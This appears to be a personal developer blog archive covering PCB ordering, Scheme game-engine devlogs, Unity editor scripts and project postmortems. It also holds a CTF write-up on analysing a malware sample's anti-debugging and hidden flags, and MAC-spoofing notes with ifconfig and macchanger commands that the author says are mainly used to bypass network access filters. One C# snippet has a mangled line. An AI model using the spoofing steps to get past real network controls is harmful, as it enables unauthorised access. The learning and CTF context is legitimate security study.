I've done a lot of electronics projects already, all of them were painstakingly hand-soldered on a perfboard. I actually like this approach for quick prototyping, and plus, I've also grown fond of how "raw" it looks like. In spite of this, I've always been curious and interested in having my own printed PCB. I remember designing one for my TIRO vibrating watch but I never pushed through with it because I wasn't confident with what I've made.

I really like the raw, almost electronic-punk look of my work

A couple of months ago I got an email from PCBWay asking if I was interested in trying out their PCB manufacturing service. The email from PCBWay re-ignited this interest in having a PCB made. The problem is I didn't have a PCB design that I built myself that I knew was going to work. My best option was the "ESPBoy project".

The ESPBoy is a project by RomanS that is touted to be the ultimate multi-gadget. RomanS sent me a kit a long time ago (Thank's again, RomanS). I have assembled and made a tutorial video for it which means that I know that it works and have a very good idea of how it is laid out.

With that decided, having the PCB made was a very easy and quick process. I just uploaded the gerber file on the PCBWay website, waited for the review of the PCB to be finished, and in a few hours I clicked the submit button and it was off to the printers.

Fast forward a few weeks later and the package with the printed pcbs arrived.

And yes, I changed the color to red just so they would look different.

I must say that I am very impressed with the quality of the PCBs. The material feels really solid and the lines so fine and accurate. I've seen and held PCB etchings before, and this is like lightyears ahead in terms of quality. The same can be said with my hand soldered perfboards, of course.

Sadly, these PCBs have been sitting in storage because I haven't found the time due to the baby. Thankfully, my schedule is slowly opening up recently and I plan to build one ESPBoy in the next coming weeks. I plan to remove the parts from the old one and put it on this. This newer PCB design has new features like the ability to connect to an app store (yeah, seriously) and I'm really curious to try it out.

I also might consider having another PCB made, but this time with my own design. I'm thinking I might go ahead and have my TIRO watch made, or maybe something even simpler. We'll see.

CovidScammers writeup (Defcon RTV CTF)

2020-08-13T16:58:00+08:00

I joined the Defcon Red Team Village CTF because I was curious about it and I wanted to test out the skills that I have gained playing with CTF sites like overthewire.org and vulnhub. I knew that the challenges won't be easy, but thankfully, I was able to join up with other newbies who were willing to give it a go and learn with each other.

Unfortunately, I fell asleep just before the CTF started and when I woke up all the easy challenges were already solved by my team members. There was one easy challenge that was still open on the CovidScammers category, so I quickly got started to solving that.

Free Flag (and binary) [1 point]

You've been contacted by a high-end but morally ambiguous finance company (unhackable-bitcoin-wallet.com) to investigate a data breach. The box in question is a mail server in their internal network, a sample of the malware found on the system has been pulled and given to you. Your task, should you choose to accept it, is to reverse-engineer the sample and locate, fuzz and exploit the C2 server, and then hack-back to learn about the malicious actor and recover the stolen documents. Look for the free flag. Get on the scoreboard!

I admit that in a hurry to get points I did not properly read the description of the challenge. I understood that I'll be downloading and reverse-engineering something. But it did not register on my mind that it's actually malware.

The download was a binary that doesn't do anything when run. My first instict was to use strings to look for the flag, which turned out to be correct.

The flag is: TS{freeFlagLookAtMe}.

Unfortunately, this challenge was already solved by a team member so I did not get the free flag. The second one, is still open though.

Syscalls [5 points]

What syscall is hindering your dynamic analysis? Flag is just the syscall, no brackets or anything.

If we run the file from within gdb to debug it we get:

can't debug this, na na na na...

So from the description we are looking for a syscall that is hindering the debugging of the binary. If we want to find out what syscalls are called by a program, we could determine that using the strace command.

Just before the write syscall for the "na na na" message we see:

ptrace(TRACE_TRACEME) = -1 EPERM (Operation not permitted)

I'm unfamiliar with ptrace so I researched it and tried to understand how it could prevent debugging. I learned that ptrace can be used as an anti-debugging technique as can be seen here.

Sure, enough the flag is: ptrace.

I got 5 points from this and I finally have a contribution to my team! Unfortunately, real life prevented me from continuing with the CTF and I had to bow out early.

Sidenote: How to bypass ptrace?

How does one bypass this anti-debugging feature? Here's one approach that I tried which should work in theory but doesn't. My guess is that this particular binary has an additional way to prevent debugging, like it spawns a child process and it stays there even if you bypass ptrace. I'd have to look into this further in the future.

Shared Secrets [150 points]

The malware creates a shared-memory object and stores a flag inside. Recover the flag. Flag has the TS{} format, you'll know when you get it.

I was able to solve this challenge after the CTF preliminaries ended. By this time I was already well rested and have a clearer mind. It was also at this time that I realized that the file is actually a malware and has already infected my machine. Thankfully, I was running a virtual machine which meant I could just revert back to an old working restore point.

Knowing that the file is a malware, the next step I did was to run rkhunter to look for rootkits and suspcious files. This gave me an interesting finding:

Opening the suspicious file revealed this:

KRJXW22FMVYES5CTMVBXERKUNNCWK4CJORJWCRTFFZGXERTSGBSE6IL5

This is not the flag yet, it needs to be in the "TS{}" format as instructed in the challenge description.

I initially had a hard time figuring out how to decode this. It wasn't base64 nor any other popular encoding. Thankfully, there are tools like CyberChef to help with this kind of problem. After some experimentation, the "magic" recipe did the trick and revealed to me that it was actually a base32 encoding.

This gave me the flag: TS{kEepItSeCrETkEepItSaFe.MrFr0dO!}

License and Registration [100 points]

The malware creates a UUID and stores it in a file, what is the name of this file. Provide the SHA1 hash of hte full path as the flag.

So the description above says that a file is created by the malware and stores data inside of it. I figured that the easiest way to figure out what this created file is to:

Restore to a previous restore point before I opened the malware
Run the malware, and then;
Inspect which other files were created at the time of execution.

I found out which files were recently created during the last 2 minutes using the following command:

$ find / -user kali -mmin 2 -type f 2> /dev/null

This showed me a lot of files, but after sifting through that I found one file that seesm promising.

/tmp/.serverauth.tn6aUcM0uM

To get the flag I did this:

$ echo -n "/tmp/.serverauth.tn6aUcM0uM" | sha1sum

Which resulted in this flag: 5b4e97047851682649a602ad62ba4af567e352a3

To be continued?

So I wanted to try and work on the other challenges but it seems that the ctf site is currently down. The site redirected to a different non https site and it spooked me so I stopped trying. Good thing that I had NoScript on.

If you want a longer and more pro writeup about the CovidScammers challenges do check out 0xdf's writeup about it.

I later competed in another CTF — the Hunt the Kingdom blue team challenge, where I placed first.

Running malware safely requires a proper isolated environment — see how I set up my virtual cybersecurity home lab.

Study notes: MAC Spoofing

2020-08-01T11:07:00+08:00

Study notes are my personal research notes on certain topics that interests me.

Any network capable device has a unique factory-assigned Media Access Control (MAC) address. Users have no way to change the MAC address but it can be done. However, it is possible to mask the MAC address and have it show a different value. This is called MAC spoofing.

There are legitimate uses for MAC spoofing. For example, there may be certain applications that require a particular MAC address to work, or maybe your ISP expects a certain MAC address to connect to the network. MAC spoofing is largely used for illegitimate uses, like circumventing an access control list or getting past a filter on a wireless network.

Changing MAC Address via ifconfig

In Linux we could use ifconfig to change the MAC address.

To view the current MAC address:

$ ifconfig

The current MAC address is 08:00:27:59:fb:fa:

Let's say we want to change the MAC address of our interface (eth0) to 00:11:22:33:44:55.

First, deactivate the interface.

$ ifconfig eth0 down

Then we specify the mac address that we want to change to.

$ ifconfig eth0 hw ether 00:11:22:33:44:55

Reactive the interface:

$ ifconfig eth0 up

Run ifconfig again to see the changes.

NOTE:

These changes are not permanent. The MAC address will return to the original one when the system is restarted!

Changing the MAC address via MACChanger

There are various tools that allows easy changing of MAC addresses. MACChanger is one of them.

First, deactivate the interface.

$ ifconfig eth0 down

The above below allows you specify the mac address you want to use:

$ macchanger -m 00:11:22:33:44:55 eth0

The code below assigns a random MAC address.

$ macchanger -r eth0

Reactive the interface:

$ ifconfig eth0 up

Chicken-Scheme FFI Examples

2020-06-16T05:58:00+08:00

I'm currently working on refactoring the FFI implementation for the Rebel Game Engine. It was previously written using the Bind chicken egg but I wanted to have more control over the implementation by using the low level foreign functions.

To help me better understand I made some examples that has the basic FFI implementations that I'll be needing for my project.

foreign-lambda example

Let's say we have a structure Vec3 and a function Vec3Create that we want to access from chicken-scheme.

typedef struct Vec3 {
    float x;
    float y;
    float z;
} Vec3;

Vec3* Vec3Create(float x, float y, float z)
{
    Vec3* v = (Vec3*)malloc(sizeof(Vec3));
    v->x = x;
    v->y = y;
    v->z = z;
    return v;
}

We could use foreign-lambda to bind to the function:

(define vec3_create
  (foreign-lambda
    (c-pointer (struct "Vec3"))   ; Return type, a pointer to a struct object of Vec3
    "Vec3Create"                  ; Name fo the function
    float float float))           ; The three parameters (x,y,z) to pass to the function

This would allow us to call the vec3_create function like so:

(vec3_create 1.1 2.2 3.3)

foreign-lambda* example

Let's bind another C function Vec3Print.

void Vec3Print(Vec3 v)
{
    printf("Vec3 to print: (%f, %f, %f)\n", v.x, v.y, v.z);
}

We could also use foreign-lambda* (Notice the asterisk). This is similar to foreign-lambda but accepts C code as a string.

(define vec3_print
  (foreign-lambda*
    void                          ; The return type
    (((c-pointer (struct "Vec3")) a0)) ; The parameter to pass, a pointer to a Vec3 object
    "Vec3Print(*a0);"))           ; The C code in string from
                                  ; Vec3Print accepts a non pointer, we dereference it

(vec3_print (vec3_create 1.1 2.2 3.3))   ; Creates a vec3 and prints it

Inline C code in foreign-lambda*

Here's another example using foreign-lambda*. This time there is no predefined C function, but instead we define the code inside the lisp function's body.

(define vec3_zero
  (foreign-lambda*
    (c-pointer (struct "Vec3"))
    ()                            ; Empty variables
    "Vec3* v = (Vec3*)Vec3Create(0.0f, 0.0f, 0.0f); 
    C_return(v);"))               ; Instead of "return", we use "C_return".

(vec3_print (vec3_zero))          ; Calls vec3_zero and prints the returned Vec3

Note that due to obscure technical reasons C_return must be used instead of return when returning a value. More info about this here.

Free-ing Vec3 pointers

Since Vec3Create allocates memory for a Vec3 struct using malloc, it's a good idea to free this when we are done using it. To do this we could bind a function to free.

(define free (foreign-lambda void "free" c-pointer))

(let ((v (vec3_zero)))
  (vec3_print v)
  (free v))

Setting up getters and setters

If we want to have access to variables of a struct object. We could do something like this:

(define vec3_x
  (foreign-lambda*
    float
    (((c-pointer (struct "Vec3")) a0))
    "C_return(a0->x);"))

(display (vec3_x (vec3_create 8.8 8.8 8.8)))

Now this is fine but it'll be a pain to specify an accessor for every variable. A better solution is to use the foreigners egg which allows the use of macros that will make our lives easier.

(import (chicken foreign))
(import foreigners)

;; Set up the accessors for Vec3 struct
(define-foreign-record-type (vec3 Vec3)
  (float x vec3_x vec3_x!)   ; vec3_x is a getter, vec3_x! is a setter
  (float y vec3_y vec3_y!)
  (float z vec3_z vec3_z!))

(let ((v (vec3_create 4.4 5.5 6.6)))
  (display (vec3_x v)) ; Display value of x
  (newline)

  (vec3_x! v 7.7)      ; Set x to 7.7
  (display (vec3_x v)) ; Display value of x
  (newline)

  (free v))

Binding enums

The foreigners egg also allows for the binding of enums using define-foreign-enum-type. Say we have an enum declaration Keys.

enum Keys {
  UP = 0,
  RIGHT = 1,
  DOWN = 2,
  LEFT = 3
};

:::scheme
(define-foreign-enum-type (keys int)
  (keys->int int->keys)
  ((up keys/up) UP)
  ((right keys/right) RIGHT)
  ((down keys/down) DOWN)
  ((left keys/left) LEFT))

(display keys/right)
(display keys/down)

These are the basic FFI implementations that I have explored. It should be enough for most uses. The example project with working code can be found on Github.

Also, check out the chicken-bind egg, it already has all of the code above conveniently in one package. If you don't need full control and just want a simple FFI solution then this is what you need.

For how these FFI bindings get named consistently in the scripting API, see Following Lispy Conventions.

#5 - Switching from C/C++ to C

2020-05-19T17:59:00+08:00

After the recent changes to the lisp side of my engine, I took some time to review the C/C++ side. You'll notice that I have written C/C++ and that's because my codebase uses both of them.

When I started my project, I initially intended for it to use just pure C, as this is the one I'm more familiar with. But over time some C++ features crept in. Features like namespacess, bools, and function overloading proved to be useful so I kept using them. Now my code uses C concepts with new nifty C++ features.

Now, I could have just continued with this approach. It works, after all. But I wondered if I should just stick to C and drop C++ altogether. My thinking is that sticking with just one language would make the code simpler as I only have to use it's subset of features. I know it's not a solid reason but I figured it's better to act now while it is still early.

For the most part, dropping C++ was easy. Most of the difficulty I encountered was making sure the changes worked on all three supported platforms. There was a situation when I thought I was done only to find it doesn't work on Mac and Windows. I had to slowly re-apply the changes just to see where exactly things went wrong.

What's funny is that I learned that I was using a lot more C++ features than I thought. Namespaces and default arguments are some that really surprised me. I always assumed they were supported on both languages. This just proves to me that I still have a lot to learn with these languages.

I also took the chance during the transition to switch from GLM, an OpenGL Mathematics lirary using C++, to CGLM a similar library that uses C. It is claimed that the latter is more optimized and, with it being in C, is easier to integrate with my codebase.

While these changes did not do much in terms of progress, I am happy that my codebase now feels tighter and more coherent. I'm hoping to work on something engine-related next.

If you are interested to check out my still-under-construction game engine, you can do so here.

#4 - Following Lispy conventions

2020-05-15T07:00:00+08:00

I was adding new Lisp functions to my game engine when I noticed that I had functions that had a naming scheme that were inconsistent with others. For example, I had ones that create objects like sprite_create and shader_create but this one function I named make_vec3. I proceeded to rename make_vec3 to vec3_create. Not only is it consistent with other names but it made me realize that having a pattern of object_verb makes it easy to parse the function and what it does.

This made me wonder if there are other ways I could improve which led me to this page about variable naming conventions for Scheme. I learned that the language employs a rather effective yet simple naming convention for functions and variables. I've noticed them before but never really thought about their usefulness.

For example, adding a ? prefix easily indicates that the function, when called, will always return a boolean value. I looked at my code and I had the function is_key_down. Changing it to key_down? looked weird at first but I liked how it made the function name shorter and the ? prefix made it easy to spot and parse.

Okay, cool! What's next?

Adding a ! indicates a function that mutates data. Most commonly used for setting a variable. I saw I had variables like set_vec3_x, to which I changed to vec3_x!.

This went on as I continue to find improvements. Here's a list of all the naming convention changes that I've made:

The change	From	To
: infix for namespaces.	vec3_create	vec3:create
? postfix for boolean functions	key_down?	key:down?
! postfix for destructive functions	set_camera_position	camera:position!
% postfix for low level functions	free	free%
% prefix and postfix for low level variables	shader-pointer	%shader-pointer%
* prefix and postfix for global variables	cube-shader	cube-shader

Again, these new changes felt weird at first but I quickly became accustomed the more of these functions I changed. The code became easier to scan as there are now key characters for my eyes to easily latch onto. Something to appreciate especially with multi-level nested expressions.

Here's how the code now looks like with the new functions:

(define MOVEMENT_SPEED 0.001)

(define *cube*)
(define *cube-shader*)
(define *cube-positions*)

(define (init)
  (set! *cube*
    (cube:create "assets/textures" "awesomeface.png"))
  (set! *cube-shader*
    (shader:create "shaders/simple-3d.vs" "shaders/simple.fs"))
  (set! *cube-positions*
    (list (vec3:create 0 0 0)
          (vec3:create 1.25 0 0)
          (vec3:create -1.25 0 0))))

(define (update)
  (window:clear)

  (let* ((main-camera (camera:main))
     (current-projection (camera:projection main-camera))
     (camera-pos (camera:position main-camera)))

    (when (key:up? KEY_C)
      (if (= current-projection PERSPECTIVE)
      (camera:projection! main-camera ORTHOGRAPHIC)
      (camera:projection! main-camera PERSPECTIVE)))

    (when (key:down? KEY_A)
      (vec3:x! camera-pos
          (+ (vec3:x camera-pos) MOVEMENT_SPEED)))
    (when (key:down? KEY_E)
      (vec3:x! camera-pos
          (- (vec3:x camera-pos) MOVEMENT_SPEED)))
    (when (key:down? KEY_COMMA)
      (vec3:z! camera-pos
          (+ (vec3:z camera-pos) MOVEMENT_SPEED)))
    (when (key:down? KEY_O)
      (vec3:z! camera-pos
          (- (vec3:z camera-pos) MOVEMENT_SPEED))))

  (for-each
   (lambda (position)
     (let ((%tint% (vec3:create% 1 0 1)))
       (cube:draw *cube* position 1 1 %tint% *cube-shader*)
       (free% %tint%)))
   *cube-positions*)

  (window:swap))

I also changed my C functions to reflect a NamespaceVerb convention. I could have used namespace::Verb but the FFI that I use to communicate with C cannot parse C namespaces. So instead of Shader::Create, I am left with ShaderCreate. This is unfortunate, but I'm fine with it since the lisp scripting side of the engine will be the most prominently used (Plus, Raylib also uses this convention for their functions).

I am happy that I was able to do these changes early. Because of this, readability of my code has increased, something I worried about when I first started implementing scripting.

For the low-level FFI bindings that these conventions apply to, see Chicken Scheme FFI Examples.

#3 - Rebel Game Engine now works on different platforms

2020-05-10T07:08:00+08:00

After finishing the integration of Chicken-scheme scripting for my custom game engine I decided I wanted to tackle another hard problem, and that is making it cross-platform. At the very least, my engine should be able to deploy to Linux, Windows, and MacOSX.

It might seem silly to be working on this while the engine is still in its early stages, but I think it is better to get this out of the way before the codebase becomes huge. With a small codebase I was able to easily identify the causes of the problems as I was porting them.

It still wasn't a walk in the park, however. Being inexperienced with developing C programs on other platforms (I've only done it mostly in Linux) I had to do research and do a lot of trial and error. I learned so much about cross-compilers, portable makefiles, and the quirks of different package managers.

After a week of this I was finally able to get the engine working on all three platforms. To make sure others can be able to do the same, I also documented the steps which can now be read on the project's wiki.

I was surprised that the hardest one to get working was for Windows. Because I didn't want to create a separate build system that uses Visual Studio solution files, I had to find a simple way to make it work and that involved the use of an excellent building platform for Windows called Msys2.

I am quite happy that I was able to structure the whole system so that you only need one Makefile for all three platforms. I'm not sure if this wil change in the future, but I'll do my best for it to stay like this as long as it's possible.

If you are interested to try it out here's the project's Github page, depending on your platform here are the instructions on how to build for each one: Linux, MacOSX and Windows.

Next in this series: applying Lispy naming conventions to the engine's scripting API.

#2 - Implemented basic Scheme scripting for Rebel Game Engine

2020-05-07T21:35:00+08:00

When I first learned about Chibi, an embeddable scheme that allows scripting on C programs, I immediately tried it out on my game engine. I was able to make it work with my existing APIs but I kept on running against segfaults and memory issues. The community was helpful in answering my questions as I tried to track down the cause of the bug, but I eventually gave up out of frustration.

I then learned about Chicken Scheme, a somewhat competitor to Chibi that does the same thing but with a larger community and more documentation. I checked it out and liked it so I went ahead and implemented it.

Thankfully I have not experienced any segfaults anymore. It's not because Chicken is better (I don't know well enough of the two to make a good comparison) but because I've come to better understand how to properly structure my code after two implementations.

And my code did change a lot. The biggest change is switching from an object oriented approach to functional style so that it would suit Lisp scripting. I also paid special attention in making sure that whatever change I made would make sense when the game engine is used without scripting. My guiding principle is that implementing a game on both C and Scheme should be structurally identical, aside from the difference in syntaxes, of course.

Here's a simple program wher you could move a colored box using the keyboard:

(define box-sprite)
(define box-pos)

(define (init)
  (set! box-sprite (sprite_create assets/textures tile.png))
  (set! box-pos (make_vec3 400 300 0))
  #t)

(define (update)
  (window_clear)

  (when (is_key_down KEY_COMMA)
    (set_vec3_y box-pos (+ (get_vec3_y box-pos) 1)))
  (when (is_key_down KEY_O)
    (set_vec3_y box-pos (- (get_vec3_y box-pos) 1)))
  (when (is_key_down KEY_E)
    (set_vec3_x box-pos (+ (get_vec3_x box-pos) 1)))
  (when (is_key_down KEY_A)
    (set_vec3_x box-pos (- (get_vec3_x box-pos) 1)))

  (let ((tint (make_vec3 1 0 1)))
    (sprite_draw box-sprite box-pos 50 50 tint #f))

  (window_swap)
  #t)

Implementing Lisp, and coding with it has been very fun too. I've had the most fun when I implemented the FFI. Every time I go through the wiki I find a better way of doing things so I'd go and re-implement them again. Each iteration I learn something new and it's such a joy exploring.

Playing with the garbage collector has also made me think about memory management more. This resulted in having two ways to call certain API functions: one will return a pointer that will automatically get tracked by the GC. The other you'd have to free manually. I figured this is a good approach for situations when having control over memory and references is crucial.

I've already spent a lot of time on this project and it was mostly spent on the scripting side of the engine. There are still more to do for it to be considered useful but I'm happy I was able to learn a lot.

If you are curious about the engine you could check it out here.

Next: making the Rebel Game Engine build on Linux, Windows, and macOS.

For the low-level FFI details used to wire Chicken Scheme into C, see Chicken Scheme FFI Examples.

#1 - Thinking of adding Lisp to my custom game engine

2020-05-03T11:19:00+08:00

I've long wondered if I should add a scripting language to my game engine. I know that most game engines could do without such a feature but I just recently came across Chibi-Scheme, a library that allows the use of Scheme lisp scripting for C programs.

I like Lisp. I use it a lot when customizing my Emacs environment (using ELisp). There's something about it's syntax and different way to structure programs that appeals to my programmer brain. I've toyed with other Lisp flavors but never had a strong enough reason to continue using them. With Chibi-scheme I may have found that reason.

I am aware that Lisp is not as widespread as Lua or Javascript. And that choosing it might limit the number of potential people to try out my game engine. But as I've been telling myself over and over, this is a self-learning project. So it's okay if no one would try it out as long as I get to learn from it.

This morning I started implementing a simple implementation of Chibi. Thankfully, it's easy to setup. However, the more I implement it the more that I realize that I may need to change how my engine is structured to better suit Lisp's functional nature. This means less object oriented design similar to how Raylib does things.

I still need some time to think this through. I am open to do the changes needed if I am to include a scripting language. I just want to make sure if my engine would really need it. We'll see.

Follow-up: I implemented basic Chicken Scheme scripting for the Rebel Game Engine.

Making Unity beep after scripts finish reloading

2020-05-01T17:07:00+08:00

Our latest game, HistoHunters, has grown into a really big project that compilation now takes a really long time. Longer than no sane programmer wants it to be. It has gotten so bad that changing a single file would take about a minute for recompilation!

Thankfully, I have managed to shorten this wait time through the use of assembly definitions. If you have a big Unity project and compile times are slow, this is the solution to that. Just for kicks I also purchased an SSD and that also helped reduce compile times (Not much as the assembly definitions though).

However, in spite of these changes compiling still takes a few seconds to reload scripts. This seems to be the lowest it could go. While this is definitely better, I can't help but feel that the seconds spent waiting is wasted.

I recently got the idea of having Unity inform me when a script has finished reloading. Instead of informing me visually, I decided that it would also be better for it to play an audible beep sound. With this, I could use the time to close my eyes, relax, or stretch. Once it beeps I'll just open my eyes and I'm back to working again. Once it beeps I'll just open my eyes and I'm back to working again. It's such a simple thing but I feel has a good impact on my health.

Here's the code that I use if you are interested. Note that this is an editor script so it should be placed inside any "Editor" folder for it to run.

using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEditor;
using System.Diagnostics;

public class BuildManager : MonoBehaviour
{
    [UnityEditor.Callbacks.DidReloadScripts]
    private static void OnScriptsReloaded() 
    {
        EditorApplication.Beep();
    }
}

The code above uses Unity's EditorApplication.Beep() API so it should work on Windows and Mac. But since I'm using Linux to develop games on it does not seem to work for me.

Here's a different version that spawns a OS process and runs the play command to generate a short sine wave beep. Be sure to have sox installed on your Linux machine for this to work.

ProcessStartInfo proc = new ProcessStartInfo();
proc.FileName = "play";
proc.Arguments = "-q -n synth 0.1 sin 880 vol 0.2";
proc.WindowStyle = ProcessWindowStyle.Minimized;
proc.CreateNoWindow = true;
Process.Start(proc);

Of course, this is not a solution to the compile time problem. I'd still have to wait for it to finish. But what I like about this is that it has turned a negative into a positive. And that is always great.

Opening Unity Script Files in Emacs

2018-01-24T14:32:00+08:00

I've recently embarked on a mission to fully integrate Emacs with my Unity game development environment. One feature that I wanted to have is the ability to open Unity scripts and text-based files in Emacs instead of MonoDevelop. This is an easy task for supported external editors but for those who aren't (Like Emacs), doing something like this is a bit tricky.

Setting emacsclient as the external editor works in opening the files but the line number is not passed at all (Or is not received by emacs. Seems to be a bug). This means that opening files in the Project Window works but you would not be able to to jump to lines that have errors from the Console. This, of course, is unacceptable.

I've tried a number of different solutions. A lot of them are hacky but clever. There was this one option of setting a Sublime Text proxy as a external editor and then having that application call Emacs with the correct line number. I was not able to make it work but the idea fascinated me. There was also one that involved using Mac OS X's Automator where you wrap a shell script as an automator app and you set that as the external editor. Didn't work either but it did teach me about Automator and it's future possible uses for my environment.

Thankfully, there was one solution that worked and it involved creating a .cs file and setting up a function with OnOpenAssetAttribute callback attribute. This function is called when Unity receives a command to open an asset. From here we start a process that invokes emacsclient with the correct file and line numbers.

Here is a short example:

[OnOpenAssetAttribute()]
public static bool OnOpenedAsset(int instanceID, int line)
{
    UnityEngine.Object selected = EditorUtility.InstanceIDToObject(instanceID);
    string ProjectPath = System.IO.Path.GetDirectoryName(UnityEngine.Application.dataPath);
    string completeFilepath = ProjectPath + Path.DirectorySeparatorChar + AssetDatabase.GetAssetPath(selected);

    // We check if this is the type of file we can open
    if (selected.GetType().ToString() == "UnityEditor.MonoScript" ||
        selected.GetType().ToString() == "UnityEngine.Shader" ) {

        string args = "-n +" + line.ToString() + " " + completeFilepath;

        // We start a process by passing the command "emacsclient -n +linenumber filePath"
        System.Diagnostics.Process proc = new System.Diagnostics.Process();
        proc.StartInfo.FileName = "/Applications/Emacs.app/Contents/MacOS/bin/emacsclient";
        proc.StartInfo.Arguments = args;
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        proc.StartInfo.CreateNoWindow = true;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

bo // Tell unity we have handled the opening of the file. return true; }

    // We were not able to open the file. Let unity handle the opening.
    return false;
}

Note: This file needs to be placed inside an "Editor" folder within Unity in order for it to work.

Go here if you want to see a more complete and fully featured implementaition of the code above. Also, a hat tip to this repository for the solution which was largely inspired by the VSCode project.

Chef Wars Postmortem -- What Went Right: Risk Adjusted Technical Estimates

2017-12-10T23:33:00+08:00

Note: This is from a series of articles that outlines the things I've learned while making Chef Wars for 2+ years.

TL;DR

We used a risk adjusted estimation system that produces near accurate estimates we can confidently rely on.

I usually dreaded being asked how long a programming task will take. I always seem to have the knack to overshoot no matter how hard I try. This is an all too common scenario that programmers face and is something that is considered to be a difficult, if not impossible, problem to solve.

This all changed when I was introduced to a helpful system that helps in producing estimates that are "accurate enough". I don't think it has a name yet but my colleagues who introduced me to it says that they got it from a Gamasutra article by Eric Preisz of Garage Games. Since then I've used this system in all my game development related projects and has helped us immensely in the development of our recent game, Chef Wars.

I'm sharing this in the hopes that it would help others too.

Risk Adjusted Estimates

The basic idea of this system is that for each task, an estimated time would be given along with a "confidence level". The lower the confidence the more padding is added automatically to the estimate for that task.

It's a very simple system and is illustrated clearly in the image below:

Task	Estimate	Confidence	Risk-Adjusted
Task A	5	2	9.44
Task B	8	6	11.56
Task C	10	8	12.22
Task D	10	10	10.00

A legend (shown below) is used to help programmers determine what confidence level to specify based on their current situation.

Level	Description
1	No clue -- don't make decisions on this. We need to talk more.
2	Hardly a clue -- don't make decisions on this. We need to talk more.
3	Someone else has done this and I read about it; job not well defined -- don't make decisions on this. We need to talk more.
4	Someone else has done this and I think I understand this; job might not be well-defined -- don't make decisions on this. We need to talk more.
5	Done something similar to this before and this relates to that work -- this estimate has a variance of +/- 50 percent of estimate.
6	I think I understand this fairly well and I understand the goal.
7	The average case for programming when the requirements are understood.
8	A confident case for programming. It's rare that something unexpected would happen.
9	I've done this before and it's very similar. If something unexpected comes up, I know how to tackle it.
10	No matter what, I'm only going to work on this for the specified period of time

The formula for calculating the risk-adjusted time is also very straightforward:

(estimated time * (10 - confidence level) / 9) + estimated time

From hereon you can easily compute for the total time and make a comparison between the estimated time and the risk adjusted time.

To see how all of this works you can check out our Technical Estimate Template Sheet at our Google Drive. Or if you are into Emacs, I also have a template for that as well using OrgMode.

How effective is it?

The following is taken from the technical estimate I made for a recent module in Chef Wars. I've logged the actual time it took me to finish the task so the results can be compared.

Note: Each estimate is in hours.

Task	Estimate	Confidence	Risk Adjusted	Actual time	Difference
[Backend] Create PVP Player Collections	2	8	2.4444444	1	1.44
[Backend] Set Player PVP Collections	8	8	9.7777778	7	2.78
[Leaderboard] Fetch City Leaderboards	16	7	21.333333	18	3.33
[Leaderboard] Monthly Leaderboard Resetting	2	7	2.6666667	4	-1.33
[Logic] PVP Competition Setup	8	7	10.666667	9	1.67
[UI] Add the City Ranking button in Global/Friend Rankings	1	10	1	1	0
[UI] City Master Chefs UI	2	8	2.4444444	6	-3.56
[UI] City Arena UI	2	8	2.4444444	4	-1.56
[UI] Top Chef Awarding Pop Up	1	8	1.2222222	2	-0.78
Totals			53.99	51	2.99

As you can see that the actual times are very close to the risk adjusted times. I overshot quite a bit during the UI related tasks but the time lost was offseted by the other tasks as seen in the totals.

Take note that this is just a small sample and results will vary. There are times where totals still overshoot but mostly it is just in terms of a few hours, or at worst a full day. Regardless, our overall experience has been great as it has proven to be accurate enough that we could confidently commit to certain dates and schedules.

Tips on using this system

This system works great if you know the tasks beforehand. You really need to sit down and think what the steps are and try not to miss anything and to avoid adjustments.
The more granular the tasks, the easier it is to assign a time and confidence level to them.
Being honest with the confidence levels helps produce more accurate estimates. It also brings to light any low-confidence tasks that are in need of reconsideration.
Make the scope smaller and easier to digest by dividing your project into smaller parts (It can be by milestone or by module) and then make an estimate for each.
Do this long enough and you'll get better with judging estimates and confidence levels.
It helps to review and compare how long a task took against your estimates. It will give you insight why you overshot (In the example above, I learned that I am still bad at properly estimating UI related tasks. I should adjust my confidence levels for next time).

Conclusion

This simple system has helped us a lot and we plan to use it on all our future projects. It's not 100% accurate but it is accurate enough that we can schedule confidently with it. I would be the first to admit that it may not work for everyone but if you are always overshooting your estimates then this system might be worth a try.

[Check out our game which was released relatively on time over at Android and iOS]

Chef Wars Postmortem -- What went wrong: Optimizing too early and too late

2017-12-06T00:02:00+08:00

Note: This is from a series of articles that outlines the things I've learned while making Chef Wars for 2+ years.

TLDR

There is more to the saying that "premature optimization is the root of all evil".
Instead of asking WHEN to optimize, it is more important to ask WHAT and HOW to optimize.

It is a well known adage among programmers that premature optimization is the root of all evil. If this is true then I must have been very close to the devil himself.

During the early months of development on Chef Wars I did my best to optimize my code as much as possible. We were making a big game and I wanted to have a stable foundation to build our game on. I obsessed over lots of things from the interconnection of the various systems to folder structures. I was happy with all that I've built, but sadly progress was slow.

I realized at this point that I was optimizing too prematurely. If I wanted to reach my milestones on time then I needed to change my approach. This means leaving the optimizations for later. When is later though? I figured that it makes sense to do it at the end when all the systems are in place.

All went smoothly until we reached Open Beta. The game was reported to be sluggish and almost unplayable which signaled the need to start optimizing. While I was able to optimize some parts, there were some that I could not optimize properly without undergoing a major change to the code. Sadly, rewrites were not an option as we were running out of time.

The profiler has been really helpful in catching performance problems.

Looking back it is easy to pinpoint what went wrong. I was optimizing too early, later changed my approach only to find out that I was already too late to optimize certain critical parts. I, of course, want to prevent this from happening again. So the million dollar question is: How does one determine when to optimize? How does one know when is too early and too late?

The complete version

I later learned that the famous adage actually has a longer version:

Programmers waste enormous amounts of time thinking about, or worrying about, the speed of noncritical parts of their programs, and these attempts at efficiency actually have a strong negative impact when debugging and maintenance are considered. We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil. Yet we should not pass up our opportunities in that critical 3%.

From Donald Knuth's The Art of Computer Programming

Turns out there was more to the saying that completely changes the lesson to be learned. Breaking it down we can infer that the author is telling us that:

Too much obsession over non-critical parts wastes time.
Only focus on efficiencies that matter.
Optimize whenever possible, but not at the expense of the previously mentioned points.

So instead of asking WHEN to optimize, it is more important to ask WHAT and HOW to optimize. In other words, anytime there is a chance to evaluate if an optimization is needed, one needs to consider whether there really is something worthwhile to optimise, and if so, how to proceed in optimizing.

Answering the WHAT and HOW

Knowing how to answer the WHAT and HOW is not easy and requires both experience and careful planning to get right. The internet is a bit divided about this as nobody really knows the best answer. In spite of this, I was able to gather some helpful nuggets of wisdom during my research that are worth considering:

Be critical of what optimizations to use at each stage of the project. Determine how critical it is and if it can be done later.
